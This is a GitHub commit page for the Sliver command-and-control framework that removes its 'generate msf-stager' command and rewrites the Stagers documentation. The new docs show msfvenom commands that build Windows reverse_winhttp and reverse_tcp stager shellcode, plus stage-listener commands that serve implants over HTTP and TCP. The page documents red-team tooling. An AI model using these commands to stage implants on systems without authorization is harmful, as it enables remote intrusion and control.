Skip to content

Commit 0deaee6

Browse files
committed
Removing generate msf-stager command
Removing the generate msf-stager command and adding documentation on how to use msfvenom / msfconsole to generate stager binaries.
1 parent bdfd891 commit 0deaee6

File tree

16 files changed

+1254
-1795
lines changed

16 files changed

+1254
-1795
lines changed

client/command/exec/msf-inject.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
4949
return
5050
}
5151
if pid == -1 {
52-
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
52+
con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
5353
return
5454
}
5555
var goos string

client/command/generate/commands.go

Lines changed: 0 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -48,30 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
4848

4949
generateCmd.AddCommand(generateBeaconCmd)
5050

51-
generateStagerCmd := &cobra.Command{
52-
Use: consts.MsfStagerStr,
53-
Short: "Generate a stager using Metasploit (requires local Metasploit installation)",
54-
Long: help.GetHelpFor([]string{consts.MsfStagerStr}),
55-
Run: func(cmd *cobra.Command, args []string) {
56-
GenerateStagerCmd(cmd, con, args)
57-
},
58-
}
59-
flags.Bind("stager", false, generateStagerCmd, func(f *pflag.FlagSet) {
60-
f.StringP("os", "o", "windows", "operating system")
61-
f.StringP("arch", "a", "amd64", "cpu architecture")
62-
f.StringP("lhost", "L", "", "Listening host")
63-
f.Uint32P("lport", "l", 8443, "Listening port")
64-
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
65-
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
66-
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
67-
f.StringP("save", "s", "", "directory to save the generated stager to")
68-
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
69-
})
70-
flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) {
71-
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
72-
})
73-
generateCmd.AddCommand(generateStagerCmd)
74-
7551
generateInfoCmd := &cobra.Command{
7652
Use: consts.CompilerInfoStr,
7753
Short: "Get information about the server's compiler",

client/command/generate/generate-stager.go

Lines changed: 0 additions & 131 deletions
This file was deleted.

client/command/help/long-help.go

Lines changed: 0 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,6 @@ var (
4545
consts.InfoStr: infoHelp,
4646
consts.UseStr: useHelp,
4747
consts.GenerateStr: generateHelp,
48-
consts.MsfStagerStr: generateStagerHelp,
4948
consts.StageListenerStr: stageListenerHelp,
5049

5150
consts.MsfStr: msfHelp,
@@ -196,33 +195,6 @@ Execution limits can be used to restrict the execution of a Sliver implant to ma
196195
Due to the large number of options and C2s this can be a lot of typing. If you'd like to have a reusable a Sliver config
197196
see 'help profiles new'. All "generate" flags can be saved into a profile, you can view existing profiles with the "profiles"
198197
command.
199-
`
200-
generateStagerHelp = `[[.Bold]]Command:[[.Normal]] generate msf-stager <options>
201-
[[.Bold]]About:[[.Normal]] Generate a new sliver stager shellcode and saves the output to the cwd or a path specified with --save, or to stdout using --format.
202-
203-
[[.Bold]][[.Underline]]++ Bad Characters ++[[.Normal]]
204-
Bad characters must be specified like this for single bytes:
205-
206-
generate msf-stager -b 00
207-
208-
And like this for multiple bytes:
209-
210-
generate msf-stager -b '00 0a cc'
211-
212-
[[.Bold]][[.Underline]]++ Output Formats ++[[.Normal]]
213-
You can use the --format flag to print out the shellcode to stdout, in one of the following transform formats:
214-
[[.Bold]]bash c csharp dw dword hex java js_be js_le num perl pl powershell ps1 py python raw rb ruby sh vbapplication vbscript[[.Normal]]
215-
216-
[[.Bold]][[.Underline]]++ Advanced Options ++[[.Normal]]
217-
If there are any advanced options you need to pass to msfvenom, you can use the --advanced flag to provide them. They must be provided in URI query format: option1=value1&option2=value2 and so on.
218-
The full list of advanced options is available using "show advanced" in msf for the payload corresponding to the chosen protocol:
219-
TCP: meterpreter/reverse_tcp
220-
HTTP: custom/reverse_winhttp
221-
HTTPS: custom/reverse_winhttps
222-
223-
Example:
224-
To tell the stager to use the proxy proxy.corp.com:8080 with the user name "corp_drone" and password "MyPassword", you would pass the following string to --advanced:
225-
HttpProxyHost=proxy.corp.com&HttpProxyPort=8080&HttpProxyUser=corp_drone&HttpProxyPass=MyPassword
226198
`
227199
stageListenerHelp = `[[.Bold]]Command:[[.Normal]] stage-listener <options>
228200
[[.Bold]]About:[[.Normal]] Starts a stager listener bound to a Sliver profile.

client/constants/constants.go

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,6 @@ const (
136136
C2GenerateStr = "generate"
137137
RegenerateStr = "regenerate"
138138
CompilerInfoStr = "info"
139-
MsfStagerStr = "msf-stager"
140139
ProfilesStr = "profiles"
141140
BeaconStr = "beacon"
142141
BeaconsStr = "beacons"

docs/sliver-docs/pages/docs/md/Stagers.md

Lines changed: 20 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,10 @@ ID Name Protocol Port
5050

5151
### Metasploit: Bring Your Own Stager
5252

53-
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
53+
**Using Metasploit stagers is only supported on Windows.**
54+
55+
#### Generating an HTTP stager
56+
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
5457

5558
```
5659
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
@@ -60,26 +63,32 @@ This will prepend the size of the payload to the final binary sent to the stager
6063

6164
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
6265

63-
We can now generate a stager using the `generate stager` command:
66+
Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
6467

6568
```
66-
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
67-
68-
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
69+
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
6970
```
7071

71-
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
72-
The generated shellcode can now be used on the target system to start a new Sliver session.
72+
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
7373

74-
## Generating Stagers with the Metasploit Framework
74+
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
7575

76-
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
76+
#### Generating a TCP stager
77+
Use the `stage-listener` command to set up a listener that will send the binary to the stager:
7778

7879
```
79-
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
80+
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
8081
```
8182

82-
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
83+
Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
84+
85+
As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
86+
87+
```
88+
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
89+
90+
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
91+
```
8392

8493
## Custom Stagers
8594

protobuf/clientpb/client.pb.go

Lines changed: 4 additions & 14 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

protobuf/clientpb/client.proto

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -513,7 +513,6 @@ message MsfStagerReq {
513513
string OS = 5; // reserved for future usage
514514
StageProtocol Protocol = 6;
515515
repeated string BadChars = 7;
516-
string AdvOptions = 8;
517516
string HTTPC2ConfigName = 9;
518517
}
519518

protobuf/commonpb/common.pb.go

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

protobuf/dnspb/dns.pb.go

Lines changed: 2 additions & 2 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)